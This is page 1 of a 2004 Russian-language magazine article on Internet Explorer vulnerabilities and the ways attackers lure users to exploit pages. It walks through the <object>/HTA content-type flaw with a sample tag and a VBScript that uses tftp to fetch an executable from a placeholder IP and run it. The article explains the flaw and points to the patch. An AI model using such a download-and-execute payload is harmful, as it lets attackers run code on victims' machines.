Internet Exploiter
 
23.03.2004
Андрей Соколов


 
стр. 1
стр. 2 >>

Нескольких несложных манипуляций с настройками безопасности ОС Windows XP достаточно, чтобы уберечь систему от лобовых атак. В случае установки файрволла и запрета доставки данных на порты, занятые сервисами системы, о лобовых атаках (как уже известных, так и нет) можно забыть.

Однако существует особый вид опасностей, связанных с многочисленными уязвимостями встроенного в Windows браузера Internet Explorer (IE). Многие читатели наверняка не раз сталкивались с этой проблемой: недобросовестные веб-мастеры не гнушаются получать несанкционированный доступ в личное пространство пользователя и насильственно открывать свои линки спустя некоторое время после того, как пользователь покинул их сайты1. Постепенно входят в моду управляемые вирусы, внедряющиеся с «нехороших» сайтов и выполняющие самые разнообразные задачи. Такие, например, как:

- рассылка спама;
- насильственная реклама;
- подкрутка Интернет-счетчиков;
- распределенный флуд;
- воровство электронных банковских реквизитов.

IE — один из основных компонентов ОС Windows, и многие программы в этой системе используют элементы IE в процессе работы. К таким программам относится, например, почтовый клиент MS Outlook Express, обрабатывающий HTML с помощью соответствующего элемента IE.

Ситуация усугубляется тем, что дыр, найденных в IE, едва ли не больше, чем во всех сервисах операционной системы Windows XP вместе взятых. Кроме того, корпорация Microsoft не всегда быстро и адекватно реагирует на обнаружение очередной дырки в IE2, и поэтому с уверенностью можно утверждать: браузер Internet Explorer уязвим патологически.

Проникновение в систему через дыру в браузере происходит при непосредственном участии пользователя. В отличие от лобовых атак, когда взломщик может лишь долбить порты удаленной системы и его легко остановить при помощи настройки безопасности системы или файрволла, спектр возможностей проникновения через IE весьма широк. Наиболее очевидные способы таковы:

- вступить в электронную переписку с пользователем (например, через Интернет-пейджер ICQ) и заманить его на какой-нибудь сайт в Интернете с заранее приготовленной страничкой, содержащей эксплойт;
- отправить пользователю сообщение в формате HTML, содержащее эксплойт, который сработает при просмотре сообщения почтовым клиентом (а не при открытии, как в случае распространения почтовых червей и тривиальных троянов);
- вставить код эксплойта (HTML-код или картинку) в какой-нибудь веб-форум, периодически посещаемый пользователем (тем самым не возбуждая подозрений, которые могли бы возникнуть при непосредственном контакте).

Уязвимости Internet Explorer можно разделить на две основные группы:

- уязвимости фундаментального свойства (переполнение буферов или адресного пространства программы), позволяющие злоумышленнику внедрять и исполнять код непосредственно в контексте IE (к этой группе можно отнести пресловутую ошибку в парсинге BMP-файлов);
- уязвимости, обеспечивающие проход в локальную зону безопасности и позволяющие взломщику совершать в ней различные манипуляции, вплоть до записи локальных файлов и запуска процессов.
Обратим внимание на следующую тенденцию: количество обнаруживаемых фундаментальных уязвимостей в Internet Explorer постепенно снижается; все больше эксплойтов ориентированы на прохождение в локальную зону безопасности пользователя.
Рассмотрим пример использования одной из самых «живописных» уязвимостей IE, распространяющейся на все основные версии браузера и связанной с некорректной обработкой тега <object>3.

- Internet Explorer загружает HTML-страницу, в теле которой содержится такой HTML-код:

<object data=«http://way/to/get/exploited» width=0 height=0>,

где http://way/to/get/exploited — линк на заранее приготовленный злоумышленником особый объект.

- Internet Explorer создает поток для обработки тегов <object>. Поток обращается по линку way/to/get/exploited, запрашивая у сервера этот объект.
- Сервер, содержащий http://way/to/get/exploited,  в заголовке HTTP/1.1-ответа сообщает, что запрашиваемый объект — вовсе не бинарный, а совершенно безопасный текстовый, типа «Content-Type: application/hta», и готовится отдать объект клиенту.
- Поток для обработки тегов <object>, получив ответ от сервера, проверяет возвращенное сервером поле «Content-Type:». В зависимости от возвращенного значения поток решает, как вести себя с содержимым: предложить пользователю сохранить объект на диск, выдать предупреждение или загрузить и исполнить. Поток видит значение «application/hta» и делает вывод, что это безопасный текстовый объект, и без каких бы то ни было предупреждений пользователю загружает и парсит объект.
- Приведенный ниже объект, будучи пропарсенным, загрузит полноценную exe-программу (которая вполне может оказаться, например, реверсивным трояном) и исполнит ее с правами, с которыми Internet Explorer работает в системе, — без каких бы то ни было намеков на недоразумение:

<script language=vbs>
Set shell=CreateObject(«WScript.Shell»)
shell.run(«cmd.exe /c tftp -i XX.XX.XX.XX file.exe && file.exe»)
</script>

где XX.XX.XX.XX — IP-адрес гипотетического Интернет-сервера, имеющего сервис TFTP (Trivial File Transfer Protocol, работающий по протоколу UDP) и готового раздавать file.exe любому желающему по первому запросу. Скрипт подождет завершения клиентской программы tftp.exe и запустит полученный file.exe.

Кстати, пользователям альтернативных браузеров (Opera, Netscape и Mozilla) не стоит расслабляться. Существует множество сообщений о различного рода уязвимостях в перечисленных браузерах (security.nnov.ru/search/soft.asp?sofname=opera, security.nnov.ru/search/soft.asp?sofname=netscape, security.nnov.ru/search/soft.asp?sofname=mozilla). Налицо тенденция: по мере роста популярности браузера количество найденных дыр и уровень возможной опасности, их сопровождающей, увеличивается. Например, почти каждая версия браузера Opera (за исключением самой последней доступной на данный момент версии 7.23) уязвима. В то же время количество и характер уязвимостей браузера Mozilla позволяют сказать, что пользоваться им практически безопасно.


1 Грешат подобной навязчивостью, как правило, порно- и warez-сайты.
2 В начале февраля при анализе украденных кусков исходного кода операционных систем Windows NT и 2000 была найдена уязвимость, связанная с некорректной проверкой границ при парсинге BMP-файлов. Internet Explorer, «увидев» такой специально приготовленный злоумышленником BMP-файл, выполнит заложенный в нем код. Уязвимость распространяется на все версии Internet Explorer’а, дефолтные для систем Windows 9x, NT4 и 2000. К 12 марта корпорация Microsoft так и не выпустила патча, закрывающего эту дыру.
3 О ней можно прочесть в первоисточнике, на сайте команды eEye, обнаружившей уязвимость: www.eeye.com/html/Research/Advisories/AD20030820.html.  Сборный патч для основных версий IE, закрывающий эту и другие уязвимости, можно скачать отсюда: www.microsoft.com/technet/security/bulletin/MS03-032.mspx.

 


 
стр. 1
стр. 2 >>

<<Hacker-friendly-авторизация
Все материалы номера
Трое в лодке (не считая эксплойта) >>